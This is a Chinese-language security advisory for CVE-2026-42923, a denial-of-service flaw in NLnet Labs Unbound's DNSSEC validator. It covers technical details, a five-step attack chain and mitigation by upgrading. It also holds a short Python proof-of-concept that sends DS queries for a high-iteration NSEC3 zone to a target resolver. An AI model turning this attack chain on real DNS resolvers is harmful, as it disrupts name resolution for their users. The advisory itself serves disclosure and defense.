IPBUF安全漏洞报告
English
CVE-2026-42923 CVSS 5.3 中危

CVE-2026-42923: Unbound DNSSEC验证器DoS漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-42923
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NLnet Labs Unbound

相关标签

拒绝服务DoSDNSSECUnboundNSEC3NLnet Labs

漏洞概述

NLnet Labs Unbound 1.25.0及之前版本存在安全漏洞。该漏洞位于DNSSEC验证器中,当查询DS记录的负缓存时,代码路径未正确应用1.19.1版本引入的NSEC3哈希计算限制。攻击者可控制DNSSEC签名区域,通过使用高迭代次数的NSEC3记录对子委托进行签名,并查询存在漏洞的Unbound服务器。这将导致Unbound持续执行哈希计算,且在计算期间持有负缓存的全局锁,从而阻塞其他线程。协同攻击可导致服务降级或拒绝服务。

技术细节

该漏洞的核心在于Unbound处理DNSSEC验证时的逻辑缺陷。在版本1.19.1中,为了防止NSEC3哈希计算导致的资源耗尽,开发者引入了计算次数限制。然而,在Unbound 1.25.0及更早版本中,用于查询DS记录负缓存的特定代码路径绕过了这一限制。攻击者利用这一点,只需控制一个经过DNSSEC签名的区域,并将该区域的NSEC3参数设置为极高的迭代次数。当受害者的Unbound解析器尝试验证该区域下的委托(DS)记录时,会触发该漏洞代码路径。Unbound将不受限制地进行高耗时的NSEC3哈希计算。与此同时,由于负缓存的全局锁被长时间持有,其他并发的DNS查询线程将被阻塞,无法正常处理请求。这种组合效应使得攻击者能够通过相对少量的查询包,消耗服务器的CPU资源并阻塞处理队列,实现高效的拒绝服务攻击。

攻击链分析

STEP 1
1. 环境准备
攻击者准备一个恶意DNSSEC签名区域,将NSEC3参数中的迭代次数设置为非常高的值。
STEP 2
2. 信息收集
识别互联网上使用NLnet Labs Unbound且版本低于或等于1.25.0的DNS解析器。
STEP 3
3. 发起攻击
向目标Unbound解析器发送针对恶意区域中子委托的DS记录查询请求。
STEP 4
4. 触发漏洞
目标解析器进入易受攻击的代码路径,执行大量NSEC3哈希计算并持有全局锁。
STEP 5
5. 拒绝服务
CPU资源被耗尽,且其他查询线程被阻塞,导致DNS解析服务降级或完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import dns.query import dns.message # Proof of Concept for CVE-2026-42923 # This script sends a DNS query for a DS record to a target Unbound server. # To exploit this, the attacker must control a zone with high NSEC3 iterations. # The target Unbound version must be <= 1.25.0. def send_malicious_query(target_ip, domain): # Construct a DNS query for DS records (Delegation Signer) # This triggers the vulnerable negative cache lookup path qname = domain qtype = 'DS' query = dns.message.make_query(qname, qtype) try: response = dns.query.udp(query, target_ip, timeout=5) print(f"Query sent to {target_ip} for {domain}") print(f"Response: {response}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the target Unbound server IP TARGET = "127.0.0.1" # Replace with a domain under attacker's control configured with high NSEC3 iterations MALICIOUS_DOMAIN = "example.attacker-domain.com" print("[+] Sending crafted DNS query to trigger NSEC3 hash limit bypass...") send_malicious_query(TARGET, MALICIOUS_DOMAIN)

影响范围

NLnet Labs Unbound <= 1.25.0

防御指南

临时缓解措施
建议立即将NLnet Labs Unbound升级至1.25.1版本,该版本包含修复补丁,将易受攻击的代码路径绑定到现有的NSEC3哈希计算限制。如果无法立即升级,应限制解析器仅响应可信客户端的请求,并在网络边界实施流量监控,以识别异常的查询模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表